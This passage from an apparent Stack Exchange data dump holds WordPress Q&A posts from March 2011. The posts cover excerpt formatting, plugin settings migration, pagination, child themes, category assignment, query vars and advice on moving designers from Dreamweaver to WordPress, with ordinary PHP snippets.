jump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;s, nor &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt;s (&lt;em&gt;heck&lt;/em&gt;, not even the &lt;code&gt;[...]&lt;/code&gt; I was half-expecting!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd really like to achieve in my theme is (within The Loop, of course):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If a manual excerpt exists: display&#xA;that (and I know I'll have to tweak&#xA;the &lt;code&gt;[...]&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Else, display the&#xA;content, respecting any&#xA;&lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; you may find.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, I was starting with this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$excerpt = get_the_excerpt();&#xA;if($excerpt=='') { //right, isset or empty may be better&#xA;    the_content();&#xA;} else {&#xA;    echo $excerpt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm getting the feeling there's a better way? Or is there a quick fix for the formatting issue mentioned above?&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2011-03-04T11:46:49.427" Title="Excerpt vs content formatting woes" Tags="&lt;content&gt;&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="11095" PostTypeId="1" AcceptedAnswerId="12015" CreationDate="2011-03-04T01:35:48.583" Score="1" ViewCount="265" Body="&lt;p&gt;I'm dumping my entire WordPress database, changing all necessary references, and then importing it into another domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine, except my plugin settings are not being set in the new domain. Does anyone know if Wordpress saves plugin settings locally somewhere? Or a reason why it would activate all the plugins, but not set the settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugins I am specifically having trouble with are Adminimize, Admin Menu Editor, and User Roles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the closest plugin I could find to solving the issue, but it doesn't work for Wordpress 3.1 - &lt;a href=&quot;http://wordpress.org/extend/plugins/sk-wp-settings-backup/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/sk-wp-settings-backup/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help you can give me.&lt;/p&gt;&#xA;" OwnerUserId="3379" LastActivityDate="2011-03-14T19:09:49.433" Title="Exporting and importing my Wordpress database, but none of the plugin settings are importing" Tags="&lt;plugins&gt;&lt;import&gt;&lt;export&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="11096" PostTypeId="2" ParentId="11091" CreationDate="2011-03-04T01:56:05.023" Score="0" ViewCount="" Body="&lt;p&gt;Look at the code of my &lt;a href=&quot;https://github.com/toscho/WordPress-Shortcodes&quot; rel=&quot;nofollow&quot;&gt;Shortcode Plugin&lt;/a&gt;. The parameter &lt;code&gt;child_of&lt;/code&gt; takes &lt;code&gt;$GLOBALS['post']-&amp;gt;ID&lt;/code&gt; as an argument. The other arguments are documented in the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;Codex page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the shortcode you can add a parameter &lt;code&gt;in_comments&lt;/code&gt; and suppress any visible output if there are no child pages. &#xA;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[subpages in_comments=1]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Useful if you move or delete pages.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-04T01:56:05.023" />
  <row Id="11097" PostTypeId="2" ParentId="11094" CreationDate="2011-03-04T02:43:40.180" Score="2" ViewCount="" Body="&lt;p&gt;the_content() and the_excerpt(), unlike their 'get_' brothers will process the content through some functions, one of them is wpautop() that will add p tags for you. To get the same formatting for both excerpt and content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_excerpt() ) {&#xA;  the_excerpt();&#xA;} else {&#xA;  the_content(__('Read more'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2011-03-04T02:43:40.180" CommentCount="1" />
  <row Id="11098" PostTypeId="1" AcceptedAnswerId="21492" CreationDate="2011-03-04T04:11:09.730" Score="0" ViewCount="209" Body="&lt;p&gt;So I'm having a weird issue that I've never seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a search.php set up like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1; &#xA;query_posts($query_string . '&amp;paged=' . $paged); &#xA;&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;    // post stuff&#xA;endwhile; else:&#xA;&#xA;endif;&#xA;&#xA;pagination();&#xA;&#xA;&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use anything but the default permalink structure, it breaks the pagination and returns a 404 and the second page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ant ideas?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-06-29T18:11:38.890" Title="Custom Permalinks Break Search Pagination" Tags="&lt;search&gt;&lt;query&gt;&lt;pagination&gt;&lt;paged&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" />
  <row Id="11099" PostTypeId="2" ParentId="11091" CreationDate="2011-03-04T04:31:14.893" Score="0" ViewCount="" Body="&lt;p&gt;Here's a snippet from a page template I use to list subpages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php&#xA;    $children = wp_list_pages('title_li=&amp;amp;child_of='.$post-&amp;gt;ID.'&amp;amp;echo=0');&#xA;    if ($children) { ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php echo $children; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3688" LastActivityDate="2011-03-04T04:31:14.893" CommentCount="1" />
  <row Id="11100" PostTypeId="1" CreationDate="2011-03-04T04:43:11.140" Score="0" ViewCount="45" Body="&lt;p&gt;I want to edit a wordpress template to have a look and feel more like I want. With things like my flair on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I change the template, does this mean I can no longer update it without reverting my changes?&lt;/p&gt;&#xA;" OwnerUserId="3689" LastActivityDate="2011-03-04T04:47:14.990" Title="Update template without undoing all my edits?" Tags="&lt;template&gt;" AnswerCount="1" />
  <row Id="11101" PostTypeId="2" ParentId="11100" CreationDate="2011-03-04T04:47:14.990" Score="2" ViewCount="" Body="&lt;p&gt;You may want to look into child themes - they allow you to customize your theme without overwriting the original files, meaning you can still take advantage of updates to the original theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themeshaper.com/2009/04/17/wordpress-child-theme-basics/&quot; rel=&quot;nofollow&quot;&gt;This tutorial on Themeshaper&lt;/a&gt; taught me a lot.&lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-03-04T04:47:14.990" CommentCount="2" />
  <row Id="11103" PostTypeId="2" ParentId="11055" CreationDate="2011-03-04T05:23:46.823" Score="3" ViewCount="" Body="&lt;p&gt;You can try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_orderby', 'enforce_specific_order');&#xA;$posts = get_posts($args);&#xA;remove_filter('posts_orderby', 'enforce_specific_order');&#xA;&#xA;function enforce_specific_order($orderby) {&#xA;    global $wpdb;&#xA;    return &quot;FIND_IN_SET(&quot;.$wpdb-&amp;gt;posts.&quot;.ID, '1,3,8,4,12') ASC&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-04T05:23:46.823" CommentCount="1" />
  <row Id="11104" PostTypeId="1" CreationDate="2011-03-04T05:30:31.177" Score="0" ViewCount="177" Body="&lt;p&gt;Is there a plugin available that will allow the drag and drop reordering of categories for a custom post type? Or suggestions on how to achieve reordering categories?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-04T05:51:11.053" Title="How to reorder categories for Custom Post Type" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="11105" PostTypeId="2" ParentId="11052" CreationDate="2011-03-04T05:36:19.950" Score="2" ViewCount="" Body="&lt;p&gt;please view the 'alternate Field' example and source code on &lt;a href=&quot;http://jqueryui.com/demos/datepicker/#alt-field&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;. Make your alternative field a hidden one and then save the value of the alternate field rather than the visible one into your metadata.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ahh...of course your date format for the alternate field should be 'yy-mm-dd'.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-04T05:36:19.950" CommentCount="3" />
  <row Id="11107" PostTypeId="2" ParentId="11104" CreationDate="2011-03-04T05:51:11.053" Score="1" ViewCount="" Body="&lt;p&gt;If you're using the default 'category' taxonomy for your custom post type, you can just use the My Category Order plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a custom hierarchical taxonomy, here's a modified version of the My Category Order plugin that works with custom taxonomies:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://snipplr.com/view/48599/mycategoryorder-custom-taxonomy-mod/&quot; rel=&quot;nofollow&quot;&gt;http://snipplr.com/view/48599/mycategoryorder-custom-taxonomy-mod/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://wordpress.org/support/topic/plugin-my-category-order-custom-taxonomy-order-and-code-improvements&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-my-category-order-custom-taxonomy-order-and-code-improvements&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-04T05:51:11.053" />
  <row Id="11108" PostTypeId="2" ParentId="689" CreationDate="2011-03-04T06:02:55.057" Score="0" ViewCount="" Body="&lt;p&gt;You need to add your code in to your themes functions.php file - also if you want to add that field into the custom taxonomy form you just substitute category with the custom taxonomy name in the add_action function.&#xA;Example :&#xA;add_action('category_edit_form_fields','category_edit_form_fields');&#xA;will be&#xA;add_action('custom_taxonomy_name_form_fields','function_name_to_hook_on');&lt;/p&gt;&#xA;" LastActivityDate="2011-03-04T06:02:55.057" />
  <row Id="11109" PostTypeId="1" AcceptedAnswerId="11119" CreationDate="2011-03-04T06:33:32.957" Score="2" ViewCount="136" Body="&lt;p&gt;I have two groups of talented designers that I am trying to nudge away from doing Dreamweaver sites — AKA static pages that are based on &quot;templates&quot; — and toward WordPress. In both cases I have encountered what I can only describe as fear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fear seems to be based on (a) a concern that they won't be able to &quot;cut it&quot; in this new world, and (b) that if they are &quot;just&quot; doing the main templates (and not all of the generated pages) they will lose billable hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think (a) is a matter of education and I'm working on it, but (b) is harder to answer. I believe that they will be able to address oft-stated customer requests for &quot;editable websites,&quot; and that they will be able to bid on sites that require more functionality and dynamic interaction with the user than they have dealt with in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; Does anyone have any studies / examples / success stories / whatever that I can use to show them that WP may actually be a major step forward in their ability to find and please customers? It is important that these be from a &lt;em&gt;designer's&lt;/em&gt; point of view. Some of this will be anecdotal, but I'm hoping for something more ... concrete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;After thought:&lt;/em&gt; &amp;nbsp;I wish I could give out more than one Correct Answer. I felt a bit stupid when I saw &lt;em&gt;case studies&lt;/em&gt; because that should have been one of the first things I searched on. I liked the comment about The Loop because it gave me a little insight from a designer's point of view about what might be intimidating. I'm going to look for more of those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addressing &lt;em&gt;The Fear&lt;/em&gt; is a bit more difficult because fear, by it's very nature, is not purely rational. Many people have been deeply traumatized by the recession — watching your billables drop by 75-80% overnight through no fault of your own can make you really nervous about &lt;em&gt;anything&lt;/em&gt; changing. I saw this in my parents, who were in their 20's during the Great Depression; fifty years later they still had a sense of scarcity in the world.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-03-04T16:39:44.400" LastActivityDate="2011-03-04T20:27:05.320" Title="How do you present WordPress to a designer who is afraid?" Tags="&lt;design&gt;&lt;success-stories&gt;" AnswerCount="6" FavoriteCount="1" />
  <row Id="11110" PostTypeId="2" ParentId="11109" CreationDate="2011-03-04T06:54:32.410" Score="1" ViewCount="" Body="&lt;p&gt;I'd say; point them towards some of the great WP galleries, like:&#xA;&lt;a href=&quot;http://themeforest.net/category/wordpress&quot; rel=&quot;nofollow&quot;&gt;ThemeForest&lt;/a&gt;, &lt;a href=&quot;http://www.woothemes.com/&quot; rel=&quot;nofollow&quot;&gt;WooThemes&lt;/a&gt;, &lt;a href=&quot;http://wpinspiration.com/&quot; rel=&quot;nofollow&quot;&gt;WP Inspiration&lt;/a&gt; and the like. Let them see great design, all working with WordPres&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-03-04T06:54:32.410" CommentCount="1" />
  <row Id="11112" PostTypeId="1" AcceptedAnswerId="11126" CreationDate="2011-03-04T07:25:27.093" Score="0" ViewCount="41" Body="&lt;p&gt;Here is the &lt;a href=&quot;http://c.hadcoleman.com/wordpress-plugins/wmd-editor-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;WMD Editor implementation for Wordpress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When the users writes a post everything is displayed OK:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/1RDFw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ijfV3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem is when the user clicks EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/lLNTE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HTML version is the one displayed (I think it is a normal behaviour since WMD Editor turned the Markdown version of the post into HTML).&#xA;What are the steps to fix this? or IS there a new version which solves this?&#xA;(I checked other questions but no one gives a concrete solution).&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-04T11:42:55.170" Title="Problem enabling the user to edit Markdown and displaying the HTML output (WMD Editor plugin for Wordpress)" Tags="&lt;plugins&gt;&lt;visual-editor&gt;" AnswerCount="1" />
  <row Id="11113" PostTypeId="1" CreationDate="2011-03-04T07:25:44.370" Score="-1" ViewCount="332" Body="&lt;p&gt;I want to know is there is custom query that&#xA;1) find keyword in posts already exisiting&#xA;2) assign those posts to specific category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for my 1 site www.placementmantra.com&lt;/p&gt;&#xA;" OwnerUserId="3695" LastActivityDate="2011-04-17T08:38:42.430" Title="Auto assign post to category" Tags="&lt;categories&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="11114" PostTypeId="2" ParentId="11113" CreationDate="2011-03-04T07:30:32.367" Score="0" ViewCount="" Body="&lt;p&gt;Technically you can do that. I will present you the idea. At post submission hook (publish), attach your function which will search for keywords from a predefined array of your categories name (this is the real logic here, i.e. how it decides) and then update the category of that post. May be someone else can provide you the exact hook names.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-04T07:30:32.367" CommentCount="8" />
  <row Id="11115" PostTypeId="2" ParentId="11113" CreationDate="2011-03-04T08:08:00.317" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_action('save_post','my_auto_category');&#xA;function my_auto_category(){&#xA;  Global $post;&#xA;   Keywords = array('keyword1','keyword2');&#xA;   $cats = array();&#xA;   Foreach ($keywords as $keyword){&#xA;      If (!strpos($keyword,$post-&amp;gt;post_content) === false)$cats[] = $keyword&#xA;   }&#xA;   wp_set_object_terms($post-&amp;gt;ID,$cats,'category',true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try this and make sure the keywords match your category names or change it up as you need.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-04T08:08:00.317" CommentCount="5" />
  <row Id="11116" PostTypeId="1" CreationDate="2011-03-04T08:10:32.407" Score="0" ViewCount="86" Body="&lt;p&gt;Right now, the PHP Markdown implementation only affects posts and comments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;markdown.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Change to false to remove Markdown from posts and/or comments.&#xA;@define( 'MARKDOWN_WP_POSTS',      true );&#xA;@define( 'MARKDOWN_WP_COMMENTS',   true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example of markdown.php for posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($wp_version)) {&#xA;    # More details about how it works here:&#xA;    # &amp;lt;http://michelf.com/weblog/2005/wordpress-text-flow-vs-markdown/&amp;gt;&#xA;&#xA;    # Post content and excerpts&#xA;    # - Remove WordPress paragraph generator.&#xA;    # - Run Markdown on excerpt, then remove all tags.&#xA;    # - Add paragraph tag around the excerpt, but remove it for the excerpt rss.&#xA;    if (MARKDOWN_WP_POSTS) {&#xA;        remove_filter('the_content',     'wpautop');&#xA;        remove_filter('the_content_rss', 'wpautop');&#xA;        remove_filter('the_excerpt',     'wpautop');&#xA;        add_filter('the_content',     'Markdown', 6);&#xA;        add_filter('the_content_rss', 'Markdown', 6);&#xA;        add_filter('get_the_excerpt', 'Markdown', 6);&#xA;        add_filter('get_the_excerpt', 'trim', 7);&#xA;        add_filter('the_excerpt',     'mdwp_add_p');&#xA;        add_filter('the_excerpt_rss', 'mdwp_strip_p');&#xA;&#xA;        remove_filter('content_save_pre',  'balanceTags', 50);&#xA;        remove_filter('excerpt_save_pre',  'balanceTags', 50);&#xA;        add_filter('the_content',     'balanceTags', 50);&#xA;        add_filter('get_the_excerpt', 'balanceTags', 9);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how to add Markdown to other type of content othe than posts and comments. For example, the bbPress plugin uses the following to generate its content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&quot;bbp-topic-content&quot;&amp;gt;&#xA;     &amp;lt;?php bbp_topic_content(); ?&amp;gt;  &#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example how would the code for adding Markdown to bbPress topics look like?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-03-04T08:35:24.583" LastActivityDate="2011-03-04T08:35:24.583" Title="Integrating the Wordpress PHP Markdown implementation to content other than Posts and Comments?" Tags="&lt;editor&gt;&lt;bbpress&gt;" CommentCount="1" />
  <row Id="11118" PostTypeId="2" ParentId="11109" CreationDate="2011-03-04T09:53:28.130" Score="2" ViewCount="" Body="&lt;p&gt;I'm a designer who took the plunge into wordpress around a year ago. Never looked back!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got into it in a round-about way. Having coded my sites in plain HTML, I realized I needed a better solution for my clients that the available CMSs out there and WP is &lt;em&gt;the&lt;/em&gt; ultimate CMS after all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first started experimenting a little with PHP just including headers and footers that ultimately saved on production time in the real world. When I realized how simple that actually was, from there I wandered into wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though I was slightly daunted even by the famous loop initially, I soon found myself very at home with WP and I use it for basically everything nowadays. I pretty much googled my way through my first couple of builds and nowadays - especially with sites such as this - I can get help whenever I need it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you could explain that you really don't need to be able to write code to actually use wordpress. I couldn't when I started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP is to PHP what jQuery is to javascript.&lt;/p&gt;&#xA;" OwnerUserId="3430" LastActivityDate="2011-03-04T09:53:28.130" CommentCount="2" />
  <row Id="11119" PostTypeId="2" ParentId="11109" CreationDate="2011-03-04T09:57:50.607" Score="4" ViewCount="" Body="&lt;p&gt;Why not just ask them to estimate how much it will cost to change the layout for 600+ pages. And then ask them if they think their customer will pay for that, versus a designer using Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One important thing to point out is that Dreamweaver is a tool on your computer for creating the design. Wordpress is a CMS for maintain content. You still need Dreamweaver (or whatever you like to write code in) to design new templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And ask them this:&#xA;Are they designers? Or web administrators? Because if a customer only want's to add news articles, then he should not need a desigenr to to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example. Go to freyaolsen.com. This site is currently using static HTML.&#xA;Now, If I want to add a new &lt;code&gt;news&lt;/code&gt;, I have to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a new html page for the news page&lt;/li&gt;&#xA;&lt;li&gt;Change front page to display recent news&lt;/li&gt;&#xA;&lt;li&gt;Make sure that the 50 or so other news items have updated &lt;code&gt;also this month&lt;/code&gt; section&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I don't event use Dreamweaver for this, I use notepad!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'm not doing point 3 because a) it will cost to much for the customr and b) a dynamic site is on it's way. Once dynamic, it will only take 10 minutes to write a new article and not the 4 hours updating each HTML page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what if I need to change the menu? Then I have to change the menu on every single page. And that is a lot of pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another valid poiont is that if they focus on designing tempaltes, they will use less timne on each project, and thus have time for new projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;case studies&lt;/strong&gt;&lt;br&gt;&#xA;I googled and found &lt;a href=&quot;http://www.google.no/search?client=opera&amp;amp;rls=en-GB&amp;amp;q=case+study+wordpress&amp;amp;sourceid=opera&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;channel=suggest&quot; rel=&quot;nofollow&quot;&gt;many case studies&lt;/a&gt;. Just look through them and see if you find one that is simple to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-03-04T09:57:50.607" CommentCount="3" />
  <row Id="11120" PostTypeId="1" CreationDate="2011-03-04T10:42:35.440" Score="0" ViewCount="145" Body="&lt;p&gt;I'm using NextGEN Gallery plugin in my WordPress blog. I add Pictures as thumbnail slideshow to my articles (in the part also shown on the home page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I look at the home page, sometimes one or two articles show one or more thumbnails in the wrong aspect ratio (e.g. 10px by 160px). This happens randomly to random articles and random thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known bug? What can I do about it?&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2011-03-04T10:42:35.440" Title="NextGEN Gallery slideshow does not scale right" Tags="&lt;plugin-nextgen-gallery&gt;" />
  <row Id="11121" PostTypeId="1" CreationDate="2011-03-04T10:49:38.960" Score="-1" ViewCount="120" Body="&lt;p&gt;I want &quot;only registered users can see links&quot; for all links in site  ,not that individual links&lt;/p&gt;&#xA;" OwnerUserId="3695" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-04T11:30:36.663" LastActivityDate="2011-03-04T11:30:36.663" Title="hide links for unregistered users" Tags="&lt;links&gt;&lt;permissions&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="11122" PostTypeId="1" AcceptedAnswerId="11924" CreationDate="2011-03-04T11:00:12.213" Score="1" ViewCount="262" Body="&lt;p&gt;I need to add pamarameters to URLs that are read by javascript widgest/gadgets run on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I just add them e.g. the original URL is &lt;code&gt;http://example.com/blog/page/&lt;/code&gt; and the parameter is called &lt;em&gt;foo&lt;/em&gt; with a value called &lt;em&gt;bar&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new URL becomes: &lt;code&gt;http://example.com/blog/page/?foo=bar&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original URL is working fine, &lt;strong&gt;but the new URL is giving a 404&lt;/strong&gt;. I assume that I need to register any additional parameter so that this works first. Is this true? How can I make new URL parameters not triggering 404s?&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-04T11:29:13.687" LastActivityDate="2011-03-13T15:31:16.497" Title="How to add URL-Parameter for Javascript Widgets?" Tags="&lt;urls&gt;&lt;pages&gt;&lt;parameter&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="11123" PostTypeId="2" ParentId="11121" CreationDate="2011-03-04T11:06:29.883" Score="0" ViewCount="" Body="&lt;p&gt;if you keep your links in the content then a simple filter function would do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content','only_registered_users');&#xA;function only_registered_users($content){&#xA;    if ( is_user_logged_in() ){&#xA;         return $content;&#xA;    }else{&#xA;        return 'Sorry, only regstered users can see the content';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to hide only the links you can use a shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('h_link''hide_links_from_public');&#xA;function hide_links_from_public($content){&#xA;if ( is_user_logged_in() ){&#xA;             return $content;&#xA;        }else{&#xA;            return 'Sorry, only regstered users can see the links';&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you use it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[h_link]&#xA;http://www.google.com&#xA;http://www.yahoo.com&#xA;[/h_link]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-04T11:06:29.883" CommentCount="2" />
  <row Id="11124" PostTypeId="2" ParentId="11122" CreationDate="2011-03-04T11:14:23.260" Score="0" ViewCount="" Body="&lt;p&gt;I think you just need to add it to the query vars&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'query_vars', 'my_query_vars' ); &#xA;function my_query_vars( $query_vars ) {     &#xA;    $query_vars[] = 'foo';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-04T11:14:23.260" CommentCount="5" />
  <row Id="11125" PostTypeId="2" ParentId="11109" CreationDate="2011-03-04T11:30:08.053" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;(a) a concern that they won't be able to &quot;cut it&quot; in this new world&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As I understand this is primarily concern about WordPress being something they are not used to and skill they are not confident to master.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;strong&gt;is&lt;/strong&gt; easy enough for them. WordPress is quite friendly to designers and vast amount of themes and designers working with it confirms that. The world of design had not changed, it had merely been given new tools and ways to apply them &lt;a href=&quot;http://publisherblog.automattic.com/2011/03/01/elance-wordpress-top-cms-choice/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;for clients that now want that&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(b) that if they are &quot;just&quot; doing the main templates (and not all of the generated pages) they will lose billable hours&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Would they prefer to see &lt;strong&gt;someone else being paid&lt;/strong&gt; for converting &lt;strong&gt;their&lt;/strong&gt; design to WordPress? Or get paid for &lt;strong&gt;both&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use of their &lt;em&gt;just main tempaltes&lt;/em&gt; with WordPress is choice that is out of their hands and in the client's. They can get more work out of it or send that work away.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-04T11:30:08.053" CommentCount="1" />
